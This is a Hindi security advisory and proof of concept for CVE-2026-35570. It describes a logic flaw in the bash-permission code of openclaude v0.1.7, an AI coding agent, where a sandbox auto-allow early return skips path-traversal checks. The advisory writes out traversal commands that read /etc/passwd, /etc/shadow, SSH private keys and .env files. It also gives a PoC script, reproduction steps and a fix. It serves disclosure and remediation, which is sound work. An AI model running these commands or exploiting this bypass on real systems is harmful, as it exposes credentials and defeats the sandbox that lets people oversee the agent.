
# CVE-2026-35570: openclaude v0.1.7 में सैंडबॉक्स बाईपास CVE-2026-35570 के लिए विस्तृत विवरण और प्रूफ-ऑफ-कॉन्सेप्ट, जो openclaude v0.1.7 में एक सैंडबॉक्स बाईपास है, जो पाथ ट्रैवर्सल के माध्यम से सैंडबॉक्स के बाहर मनमानी फाइलों को पढ़ने और लिखने की अनुमति देता है।
CVE-2026-35570 | CVSS 8.4 (उच्च) | openclaude v0.1.7
हर कमजोरी के लिए परिष्कृत एक्सप्लॉइट चेन की आवश्यकता नहीं होती। कभी-कभी एक गलत जगह रखा गया return स्टेटमेंट ही आपके सुरक्षा मॉडल में छेद करने के लिए पर्याप्त होता है। CVE-2026-35570 बिल्कुल यही है।
यह राइट-अप एक सैंडबॉक्स बाईपास को कवर करता है जो मैंने openclaude v0.1.7 में पाया — एक लॉजिक दोष जो पाथ ट्रैवर्सल पेलोड को बिना किसी जांच के फाइलसिस्टम आइसोलेशन परत से सीधे गुजरने देता है।
मैं bashPermissions.ts से गुजर रहा था जब कंट्रोल फ्लो में कुछ ने मेरा ध्यान खींचा। अनुमति लॉजिक पहली नज़र में उचित लग रहा था — अगर हम सैंडबॉक्स में हैं, तो कमांड को स्वतः अनुमति दें; अन्यथा, उपयोगकर्ता से पूछें। काफी साफ।
लेकिन एक सवाल मुझे लगातार परेशान कर रहा था: पाथ कंस्ट्रेंट जांच वास्तव में कहाँ होती है?
मैंने bashToolHasPermission() को शुरू से अंत तक ट्रेस किया और निष्पादन पथ का मानचित्रण किया:
bashToolHasPermission()
│
├─ [~1445] सैंडबॉक्स ऑटो-अलाउ ब्लॉक
│ └─ कोई डिनाय नियम नहीं मिला → return ALLOW ⚠️ जल्दी बाहर निकलना
│
└─ [~1644] checkPathConstraints() ❌ कभी नहीं पहुँचा
सैंडबॉक्स ब्लॉक सैंडबॉक्स वातावरण में इंटरैक्टिव अनुमति प्रॉम्प्ट को छोड़ने के लिए बनाया गया था। पूरी तरह उचित। समस्या यह है कि जब यह ALLOW लौटाता है, फ़ंक्शन वहीं से बाहर निकल जाता है। checkPathConstraints() — जो वास्तव में पाथ ट्रैवर्सल को पकड़ने के लिए जिम्मेदार है — कभी नहीं चलता।
bashToolHasPermission() के अंदर, सैंडबॉक्स ऑटो-अलाउ ब्लॉक इस लॉजिक का पालन करता है:
उस बिंदु पर, checkPathConstraints() पूरी तरह से बाईपास हो जाता है। पाथ ट्रैवर्सल फ़िल्टर को कुछ भी करने का मौका नहीं मिलता।
हमलावर के दृष्टिकोण से, इसका मतलब है कि ऐसे कमांड सीधे गुजर जाते हैं:
cat ../../../../../etc/passwd
cat ../../../../../etc/shadow
cat ../../../../../home/user/.ssh/id_rsa
cat ../../../../../var/app/.env
ये सभी behavior: allow के साथ लौटते हैं। कोई प्रॉम्प्ट नहीं। कोई ब्लॉक नहीं। कुछ भी नहीं।
इस दोष के मौजूद होने पर तीन चीजें संभव हो जाती हैं:
मनमानी फ़ाइल रीडिंग। सैंडबॉक्स सीमा के बाहर की कोई भी चीज़ खेल में है — /etc/passwd, /etc/shadow, SSH प्राइवेट कीज़, .env फ़ाइलें। जब तक OS-स्तर की अनुमतियाँ अनुमति देती हैं, फ़ाइल पढ़ी जा सकती है।
मनमानी फ़ाइल राइटिंग। वही लॉजिक उल्टा भी लागू होता है। एक हमलावर सैंडबॉक्स के बाहर के पथों पर लिख सकता है, जो कॉन्फ़िग फ़ाइलों को अधिलेखित करने या अप्रत्याशित स्थानों पर सामग्री डालने का द्वार खोलता है।
पूर्ण सैंडबॉक्स आइसोलेशन विफलता। सैंडबॉक्स का पूरा उद्देश्य फाइलसिस्टम सीमाओं को लागू करना है। इस बग के मौजूद होने पर, वह गारंटी बेकार है।
CVSS v3.1: 8.4 (उच्च) — AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
समाधान वैचारिक रूप से सीधा है। सैंडबॉक्स ऑटो-अलाउ ब्लॉक को इंटरैक्टिव प्रॉम्प्ट को दबाना चाहिए — बस इतना ही। इसे कभी भी पूर्ण अनुमति पाइपलाइन को शॉर्ट-सर्किट नहीं करना चाहिए।
if (
SandboxManager.isSandboxingEnabled() &&
SandboxManager.isAutoAllowBashIfSandboxedEnabled() &&
shouldUseSandbox(input)
) {
const sandboxResult = checkSandboxAutoAllow(input, appState.toolPermissionContext);
if (sandboxResult.behavior !== 'allow') {
// केवल डिनाय या आस्क के लिए जल्दी लौटें — अलाउ पर पाथ जांच कभी न छोड़ें
return sandboxResult;
}
// अगर अलाउ है, तो नीचे checkPathConstraints पर गिरें
}
// पाथ ट्रैवर्सल जांच हमेशा चलनी चाहिए
return checkPathConstraints(input, appState.toolPermissionContext);
यहाँ नियम सरल है: सैंडबॉक्स ऑटो-अलाउ प्रॉम्प्ट को छोड़ता है, सुरक्षा जांच को नहीं।
| फ़ील्ड | विवरण |
|---|---|
| पैकेज | openclaude |
| प्रभावित संस्करण | v0.1.7 |
| पैच किया गया संस्करण | कोई नहीं |
| CVE | CVE-2026-35570 |
| CVSS | 8.4 (उच्च) |
openclaude v0.1.7git clone https://github.com/Gitlawb/openclaude
cd openclaude
git checkout v0.1.7
npm install
openclaude को सैंडबॉक्स और ऑटो-अलाउ फ्लैग के साथ लॉन्च करें:
CLAUDE_SANDBOX=true CLAUDE_AUTO_ALLOW_BASH=true npx openclaude
वेरिएबल नाम थोड़े भिन्न हो सकते हैं। अपने बिल्ड के लिए सटीक एनवायरनमेंट वेरिएबल मैपिंग की पुष्टि करने हेतु
SandboxManagerक्लास देखें।
निम्नलिखित को प्रोजेक्ट रूट में poc.ts के रूप में सहेजें:
import { bashToolHasPermission } from './src/tools/BashTool/bashPermissions';
import { SandboxManager } from './src/sandbox/SandboxManager';
// सैंडबॉक्स स्थितियाँ सेट करें
SandboxManager.setSandboxEnabled(true);
SandboxManager.setAutoAllowBashIfSandboxed(true);
// पाथ ट्रैवर्सल के साथ पेलोड
const maliciousInput = {
command: 'cat ../../../../../etc/passwd'
};
const fakeAppState = {
toolPermissionContext: {
allowedPaths: ['/tmp/sandbox'],
deniedPaths: []
}
};
const result = bashToolHasPermission(maliciousInput, fakeAppState);
console.log('Result:', result.behavior);
// अपेक्षित: "deny" — पाथ ट्रैवर्सल ब्लॉक होना चाहिए
// वास्तविक: "allow" ← कमजोरी की पुष्टि
फिर इसे चलाएँ:
npx ts-node poc.ts
आप देखेंगे:
Result: allow
checkPathConstraints() कभी कॉल नहीं हुआ। इसे स्वयं पुष्टि करने के लिए, bashPermissions.ts में एक लॉग लाइन डालें:
// लगभग लाइन 1644
function checkPathConstraints(input, context) {
console.log('checkPathConstraints was called'); // यह कभी प्रिंट नहीं होगा
// ...
}
स्क्रिप्ट फिर से चलाएँ। लॉग दिखाई नहीं देगा — फ़ंक्शन वास्तव में छोड़ा जा रहा है।
openclaude को सैंडबॉक्स सत्र में खोलें और निम्नलिखित कमांड सबमिट करें:
cat ../../../../../etc/passwd
यह बिना किसी अनुमति प्रॉम्प्ट या ब्लॉक के निष्पादित होता है, और /etc/passwd की सामग्री सीधे डंप कर देता है।
CVE-2026-35570